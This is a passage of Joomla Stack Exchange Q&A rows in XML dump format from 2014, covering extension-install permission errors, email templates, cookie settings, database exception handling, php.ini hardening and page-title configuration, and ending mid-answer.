  <row Id="434" PostTypeId="2" ParentId="430" CreationDate="2014-04-28T23:57:06.847" Score="6" Body="&lt;p&gt;Maybe try disabling FTP at &lt;code&gt;Global Configuration -&amp;gt; Server&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have a file ownership issue rather than a file permission issue. Changing to appropriate PHP file handler can sometimes help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a more complete answer at: &lt;a href=&quot;https://joomla.stackexchange.com/questions/132/recommended-practices-regarding-joomla-file-directory-permissions-and-ownership/161#161&quot;&gt;Recommended practices regarding Joomla file/directory permissions and ownership on linux systems?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-04-28T23:57:06.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="435" PostTypeId="2" ParentId="422" CreationDate="2014-04-29T03:37:01.177" Score="1" Body="&lt;p&gt;Found out what was going on - thanks for the suggestions which sent me down the right path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, the issue was because the admin creating the accounts was behind the same firewall as the server.  The name for the system that was put in the message was created by picking up the &quot;HTTP_HOST&quot; value from the session environment and reflects the URL you connect with - which was not a name but an IP address in this situation.  If you're behind the firewall, you get the behind the firewall value - if you're outside the firewall, you get the outside the firewall value, which is why this normally gives the correct answer when the server is in a hosted environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get this to behave properly, I should have set up a DNS with split views - so that the admin is always connecting to www.mydomain.com.  If you're behind the firewall, the DNS gives you the 192.168 address, if you're outside the firewall you receive the external IP when the symbol www.mydomain.com is resolved to an IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, when the message is sent out, the body of the message contains www.mydomain.com in both cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how to override the http:// value sent out, yes, the suggestions about re-writing the code in plugins/user/joomla/joomla.php are correct.  Except in &lt;em&gt;this&lt;/em&gt; case - the site was using an extension &quot;Login One&quot; to limit simultaneous user sessions, and the extension replaced the standard Joomla code with a plugin of their own, so it needed to be changed in the extension code not the standard place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, thanks for all the suggestions, it would have been a lot harder to reach the answer without them.&lt;/p&gt;&#xA;" OwnerUserId="227" LastActivityDate="2014-04-29T03:37:01.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="436" PostTypeId="2" ParentId="431" CreationDate="2014-04-29T06:12:50.483" Score="4" Body="&lt;p&gt;I would disable &lt;code&gt;open_basedir&lt;/code&gt;, it tends to generate more problems than it solves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need it, make sure the administrator folder is in the allowed paths.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-29T06:12:50.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="437" PostTypeId="2" ParentId="429" CreationDate="2014-04-29T06:25:51.823" Score="4" Body="&lt;p&gt;Sounds to me like the script times out while creating the database tables?&#xA;The server error log file would likely tell you the reason for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To manually install Joomla&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to create the &lt;code&gt;configuration.php&lt;/code&gt; file. There is an &lt;em&gt;example&lt;/em&gt; file &lt;code&gt;installation/configuration.php-dist&lt;/code&gt;. You can take that, adjust it and place it in the root folder as &lt;code&gt;configuration.php&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You also need to create the database tables. For that you take the SQL file &lt;code&gt;installation/sql/mysql/joomla.sql&lt;/code&gt;. You need to change the table prefix in the SQL file from &lt;code&gt;#__&lt;/code&gt; to the one you specify in the configuration. After that you can apply it to the database using phpMyAdmin or similar.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-29T06:25:51.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="438" PostTypeId="2" ParentId="419" CreationDate="2014-04-29T07:00:30.927" Score="4" Body="&lt;p&gt;I have worked with SP Transfer by cyend and it is doing the job pretty well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But depending on the conditions, I also do this by using a desktop database management app that allows me to perform efficiently database operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my mac I use Sequel Pro. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can connect remotely via SSH to more than 1 DB server and have opened windows for the databases I am working on at the same time. I can easily choose any records from any table I want, and import/update records to the other table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many cases that I consider this method to be much more efficient and faster for me. &#xA;In the case of copying articles, we assume that the overall db structure and categories organization is the same between the 2 tables, otherwise there is going to create a mess with the assets and the categorization of the articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But someone needs to be careful and know what he is doing, because we are dealing directly with the databases.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-04-29T07:00:30.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="439" PostTypeId="1" AcceptedAnswerId="441" CreationDate="2014-04-29T08:16:59.630" Score="6" ViewCount="497" Body="&lt;p&gt;I have a lot of clients who like to write &quot;&amp;amp;&quot; in their titles but the slug auto generation removes the &quot;&amp;amp; &quot; which can give the url a totally different meaning and so we must hand check them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is an override or patch or something possible to change this so that &amp;amp; becomes &quot;and&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Title: House &amp;amp; Boat&#xA;e.g. http://www.domain.com/sections/house-boat&#xA;vs http://www.domain.com/sections/house-and-boat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorUserId="52" LastEditDate="2014-04-29T11:05:34.683" LastActivityDate="2014-04-29T20:35:16.140" Title="Possible to make slug generation turn &quot;&amp;&quot; to &quot;and&quot; for url? as extension/plugin/patch?" Tags="|joomla-3.x|sef|url|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="441" PostTypeId="2" ParentId="439" CreationDate="2014-04-29T11:05:04.490" Score="4" Body="&lt;p&gt;There is no easy way to override that. In the end it uses &lt;code&gt;JFilterOutput::stringURLUnicodeSlug()&lt;/code&gt; or &lt;code&gt;JFilterOutput::stringURLSafe()&lt;/code&gt; (depending on the global setting) to make the alias URL safe. Since &lt;code&gt;&amp;amp;&lt;/code&gt; isn't a valid character in an URL it is stripped and replaced with a &lt;code&gt;-&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you had to override a core class, which isn't recommended at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easier way is probably to create a plugin which runs during or after the save process and generates a new alias.&#xA;I don't know if there is an existing one, but I think it should be possible to create such a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can teach your users to make sure the alias is fine :-)&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-04-29T19:10:12.603" LastActivityDate="2014-04-29T19:10:12.603" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="442" PostTypeId="2" ParentId="430" CreationDate="2014-04-29T11:37:41.513" Score="4" Body="&lt;p&gt;It seems like Joomla cannot perform read/write operations via PHP, so I agree with Neil, it's likely to be a php handler / ownership issue (even though it was set at 777). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a troubleshooting list addressing your first error at &lt;a href=&quot;http://docs.joomla.org/Why_can%27t_you_install_any_extensions?&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Why_can%27t_you_install_any_extensions%3F&lt;/a&gt; but it looks like you have checked off most of it :) I will list some of the points you may not have addressed below.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Check your php.ini file (it's usually located under /etc directory.)&#xA;Make a backup, then if you can edit the original, set open_basedir to&#xA;include the temp directory: &lt;code&gt;open_basedir = /tmp&lt;/code&gt; If you have another&#xA;path for tmp you can set it by adding &lt;code&gt;:/path&lt;/code&gt; An example:&#xA;&lt;code&gt;open_basedir = /var/www/html:/tmp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure you aren't using PHP 5.0.4. Apparently this version will&#xA;cause the first error message you received.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other things on the list (which you have already done) include &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;check that you have the correct tmp path in configuration.php&lt;/li&gt;&#xA;&lt;li&gt;check that your session.save_path directive in your php.ini file is&#xA;writable.&#xA;I know you have done this already, but for other people with the same problem a lot of the above things can be checked using the Joomla Forum Post Assistant. It can be download from &lt;a href=&quot;https://github.com/ForumPostAssistant/FPA/zipball/en-GB&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ForumPostAssistant/FPA/zipball/en-GB&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you use Admin Tools, it might be worth checking your .htaccess file. Admin Tools sometimes prevents access to some directories via the .htaccess file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your second error, I suggest you take a look at &lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-3/server-settings/change-path-to-temp-folder&quot; rel=&quot;nofollow&quot;&gt;http://www.inmotionhosting.com/support/edu/joomla-3/server-settings/change-path-to-temp-folder&lt;/a&gt; They ran some tests using Joomla 3 and found that when they &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;removed all permissions from the temp folder and tried to upload a&#xA;  Joomla module in a .zip format, Joomla 3.0 gave us the following&#xA;  errors:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;JFolder: :files: Path is not a folder. Path:&#xA;  /home/bradm/public_html/github2/tmp/install_503f7ef32c55c&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This suggests to me it is the php handler/ownership issue as Neil suggested.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-04-29T11:37:41.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="443" PostTypeId="1" CreationDate="2014-04-29T11:40:48.180" Score="5" ViewCount="4604" Body="&lt;p&gt;How to add an email template for all emails that Joomla sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any standard way to do this? Or do we have to add custom codes in each mail sending sections (or PHPmailer class)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for something like plugin events or something similar to catch an email sending event. Is this possible in Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I need to explain little bit more,&#xA;&lt;strong&gt;Email Beautifier&lt;/strong&gt; is Good one but its paid my aim is to develop such an extension.&#xA;I have a custom component for email template customization, with editor all the styles fonts, etc are customizable from there the template is something like below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cLUxl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my template I don't need to change any messages that Joomla already have with registration,contacts and so on. I just need to add a template on it,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I am doing it with customizing PHP mailer class core file, something like &lt;strong&gt;Chad Windnagle&lt;/strong&gt; said I already saw some extensions doing this like overriding all emails that Joomla send I used it in older version of Joomla like RS FORM PRO Joomla.&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="138" LastEditDate="2014-04-29T14:31:29.570" LastActivityDate="2016-01-18T09:50:08.220" Title="How can I add an Email template in Joomla" Tags="|email-template|emails|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="444" PostTypeId="1" AcceptedAnswerId="445" CreationDate="2014-04-29T11:58:42.553" Score="4" ViewCount="10106" Body="&lt;p&gt;In the Joomla backend, under Global configuration -&gt; Site I have the following cookie setting information&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oUVcV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Joomla website seems to work fine without having completed the cookie fields, so my questions are as follows &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it safe for me to leave this information blank?&lt;/li&gt;&#xA;&lt;li&gt;If yes, under what situations would I need to fill it out? (and)&lt;/li&gt;&#xA;&lt;li&gt;How would I fill it out?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="115" LastActivityDate="2019-06-15T04:22:54.223" Title="Do I need to complete the cookie domain and path information in Joomla?" Tags="|joomla-2.5|configuration|cookies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="445" PostTypeId="2" ParentId="444" CreationDate="2014-04-29T12:27:39.133" Score="5" Body="&lt;p&gt;The default behavior is like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cookie Domain&lt;/strong&gt;: Joomla will use an empty value and the cookie will be valid for the current domain.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cookie Path&lt;/strong&gt;: Joomla will use &lt;code&gt;/&lt;/code&gt; as default value and the cookie will be valid for the whole site.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thus usually, the default values will be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cookie domain may be useful if you want a cookie be valid for several subdomains. The cookie path would have to be set if the cookie should only be valid for a certain subdirectory.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-29T12:27:39.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="446" PostTypeId="2" ParentId="443" CreationDate="2014-04-29T12:41:30.113" Score="4" Body="&lt;p&gt;All the emails that are sent are sent using the language files, so changing the content to the email copy is a matter of doing language overrides:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5%3aLanguage_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J2.5:Language_Overrides_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure there is a specific single 'event' for catching email sending. The only way to do this would be to probably override the mailer class and add an event which you can then watch with other plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have to override this class:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/mail/mail.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/mail/mail.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And replace it with your own - you could do that with a system plugin I think. From there you'll add a new event in the send() method which calls a plugin onSend event. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will also only work if the email sending is using Joomla's mailer class. Any mail sent directly via PHP would be hard to catch this way. &lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-04-29T12:41:30.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="447" PostTypeId="2" ParentId="443" CreationDate="2014-04-29T12:41:32.457" Score="0" Body="&lt;p&gt;Go to Language manager -&gt; Language Overrides&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you can create overrides to following keys:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_SUBJECT&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_BODY&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_SUBJECT&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_BODY&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are other keys. But all you need is to create languages override. Take a look at the language/en-GB/en-GB.com_users.ini file.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2014-04-29T12:41:32.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="448" PostTypeId="2" ParentId="64" CreationDate="2014-04-29T13:49:26.363" Score="3" Body="&lt;p&gt;In libraries/legacy/controller/legacy.php we changed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_VIEW_NOT_FOUND', $name, $type, $prefix), 500);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_VIEW_NOT_FOUND', $name, $type, $prefix), 404);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-04-29T13:49:26.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="449" PostTypeId="1" CreationDate="2014-04-29T14:29:07.560" Score="11" ViewCount="10420" Body="&lt;p&gt;I am using the following way in joomla 2.5 and 3 to execute database query - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$database = JFactory::getDBO();&#xA;$database-&amp;gt;setQuery&#xA;$database-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but how do I catch errors/exceptions if the query fails for any reasons as &lt;code&gt;$database-&amp;gt;getErrorNum()&lt;/code&gt; is deprecated?&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="126" LastEditDate="2017-01-28T05:16:38.963" LastActivityDate="2018-05-05T10:37:16.463" Title="Catching exception/error in database transaction" Tags="|joomla-3.x|joomla-2.5|joomla-api|error-handling|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="451" PostTypeId="2" ParentId="431" CreationDate="2014-04-29T14:52:32.443" Score="1" Body="&lt;p&gt;I have seen this happen before on a couple of sites.  The first cause is one that is already mentioned with .htaccess/apache config issue.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other cause I've seen is a caching problem.  Try turning off the cache via manually changing the option in the /configuration.php file.  You can also manually delete everything in the /cache directory except the index.html file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-04-29T14:52:32.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="452" PostTypeId="2" ParentId="449" CreationDate="2014-04-29T14:57:28.553" Score="13" Body="&lt;p&gt;JError has been deprecated in J3.x, in favour of PHP exceptions, as it &lt;a href=&quot;http://docs.joomla.org/Exceptions_and_Logging_in_Joomla_1.7_and_Joomla_Platform_11.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;intermixed 2 different programming concepts&lt;/a&gt;: logging and error handling (the logging side has now been implemented as &lt;a href=&quot;http://docs.joomla.org/Using_JLog&quot; rel=&quot;nofollow noreferrer&quot;&gt;JLog&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your exact case, you can wrap your code in a try / catch block to get the error, as shown in &lt;a href=&quot;https://stackoverflow.com/questions/13967904/joomla-jdatabasegeterrornum-is-deprecated-use-exception-handling-instead&quot;&gt;this SO answer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    ...&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;loadResult();&#xA;}&#xA;catch (Exception $e){&#xA;    echo $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;$database-&amp;gt;execute()&lt;/code&gt; is stated to &lt;a href=&quot;http://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;NOT work in J2.5&lt;/a&gt;. You should use &lt;code&gt;$database-&amp;gt;query()&lt;/code&gt; if you need an equivalent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla 2.5 and 3.x the &lt;a href=&quot;http://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#The_Query&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;JDatabase&lt;/code&gt; object methods&lt;/a&gt; &lt;code&gt;updateRecord()&lt;/code&gt; and &lt;code&gt;insertRecord()&lt;/code&gt; also throw errors you can catch if they fail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    JFactory::getDbo()-&amp;gt;updateObject('#_table_name', $data);&#xA;} catch (Exception $e) {&#xA;    //...handle the exception&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're developing for Joomla 3.x only, you can also use a try catch block with &lt;a href=&quot;http://docs.joomla.org/Using_transactions_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQL transactions&lt;/a&gt; to get the error details:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;try {&#xA;    $db-&amp;gt;transactionStart();&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $values = array($db-&amp;gt;quote('TEST_CONSTANT'), $db-&amp;gt;quote('Custom'), $db-&amp;gt;quote('/path/to/translation.ini'));&#xA;&#xA;    $query-&amp;gt;insert($db-&amp;gt;quoteName('#__overrider'));&#xA;    $query-&amp;gt;columns($db-&amp;gt;quoteName(array('constant', 'string', 'file')));&#xA;    $query-&amp;gt;values(implode(',',$values));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;execute();&#xA;&#xA;    $db-&amp;gt;transactionCommit();&#xA;}&#xA;catch (Exception $e) {&#xA;    // catch any database errors.&#xA;    $db-&amp;gt;transactionRollback();&#xA;    JErrorPage::render($e);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="90" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-04-29T15:47:12.423" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="454" PostTypeId="1" AcceptedAnswerId="455" CreationDate="2014-04-29T18:56:25.893" Score="3" ViewCount="1414" Body="&lt;p&gt;Because Joomla uses so much third party components and such, what are some safe functions and classes to add to the php.ini for disabled_classes and disabled_functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask this is for locking down a server more, adding more to those php.ini properties is best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;exec()&lt;/code&gt; is obvious however ones like &lt;code&gt;base64_decode()&lt;/code&gt; are not since they are used often, are there any other functions that are safe and worthwhile? (not counting the defaults php uses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: This is not meants as a &quot;cure all&quot; for security, just one part of security.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-04-29T20:50:52.983" LastActivityDate="2014-04-29T20:50:52.983" Title="Security: best practices for disabled_functions and classes" Tags="|php|extensions|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="455" PostTypeId="2" ParentId="454" CreationDate="2014-04-29T19:04:45.403" Score="1" Body="&lt;p&gt;These are some common ones that folks recommend disabling:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;show_source,&#xA;system,&#xA;shell_exec,&#xA;passthru,&#xA;exec,&#xA;popen,&#xA;proc_open,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially in Joomla environments without any problems. It's really more of a use-case thing when it comes to some functions, but ideally you don't want to leave on any of the especially shaky ones if you're not using them. I also recommend disabling HTTP methods that aren't being used arbitrarily or systematically like DELETE or TRACE.&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2014-04-29T19:04:45.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="456" PostTypeId="2" ParentId="454" CreationDate="2014-04-29T19:13:48.793" Score="0" Body="&lt;p&gt;A good practice is to have a system user exclusive to run your joomla. Thus you can restrict this user to access only the joomla folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you must avoid to disable these functions because some extension can need them for good and not for evil.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditDate="2014-04-29T19:28:37.047" LastActivityDate="2014-04-29T19:28:37.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="457" PostTypeId="1" AcceptedAnswerId="468" CreationDate="2014-04-29T19:49:20.463" Score="8" ViewCount="1569" Body="&lt;p&gt;In the Joomla 2.5 Global Configuration under SEO, there is the option to &quot;Include Site Name in Page Titles&quot;, with the options &quot;After&quot;, &quot;Before&quot; or &quot;No&quot;. However, how do you include the site name (&quot;After&quot;) on all pages &lt;em&gt;except&lt;/em&gt; the front page? (And perhaps for other pages as well?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on Joomla 2.5, however, I would also like to know if the process is any different in Joomla 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Core functionality or manual code solutions are preferred. However, if there are suitable extensions that provide this functionality then please feel free to suggest these as well.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-04-30T00:38:20.413" LastActivityDate="2014-04-30T00:38:20.413" Title="How to append the site title to all pages except the front page?" Tags="|joomla-2.5|seo|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="458" PostTypeId="2" ParentId="443" CreationDate="2014-04-29T20:19:55.460" Score="0" Body="&lt;p&gt;EDIT: I re-read your question and realized you want to create a plugin similar to this. I'll leave my answer up though, as it could be useful to others based on your question title, and you may find it useful to look at how this extension works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One alternative to this is to use the free cMandrill plugin from Compojoom:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://compojoom.com/joomla-extensions/mandrill-transactional-emails-made-easy&quot; rel=&quot;nofollow&quot;&gt;https://compojoom.com/joomla-extensions/mandrill-transactional-emails-made-easy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then sign up for &lt;a href=&quot;http://Mandrill.com&quot; rel=&quot;nofollow&quot;&gt;http://Mandrill.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 12,000 emails are free, so most websites won't ever see charges for it (you don't even need to use a credit card to sign up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then override the joomla templates without modifying any language or making any overrides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I offer this as an alternative that does have some nice benefits (like Mandrill can tell you if your user emails bounced back and who opened them, etc).&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-04-29T20:19:55.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="459" PostTypeId="2" ParentId="457" CreationDate="2014-04-29T20:20:39.680" Score="3" Body="&lt;p&gt;Four options here:&#xA;A) use Joomla's native before, after or no. Then go into your home menu item and add a browser title. It will STILL use the before, after or no, but at least you get a custom name out of it. So it'll look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Providing Service for 100 Years - Company Name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) Add this code below your open body tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php &#xA; $app = JFactory::getApplication();&#xA; $this-&amp;gt;setTitle($this-&amp;gt;getTitle().' | '.$app-&amp;gt;getCfg('sitename'));&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives you the option of using pipe breaks instead of the dash, or some other character of your choice. You can also instead of using sitename, can put something else in there and have it append to all browser titles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Providing Service for 100 Years | Company Name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C) Set your Joomla to no. Manually write all menu item browser titles. Not horrible for smaller sites. Really awful for larger sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D) I haven't tried this, but I think it would work.  In theory anyway.  Add an id to your homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This goes above the doctype:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $app = JFactory::getApplication();&#xA;  $menu = $app-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;  $pageclass = '';&#xA;&#xA;  if (is_object($menu))&#xA;    $pageclass = $menu-&amp;gt;params-&amp;gt;get('pageclass_sfx');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this replaces body&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body id=&quot;&amp;lt;?php echo $pageclass ? htmlspecialchars($pageclass) : 'default'; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now add a class to your menu item. It will show up as the body ID. NOW, use the code provided in option D, and 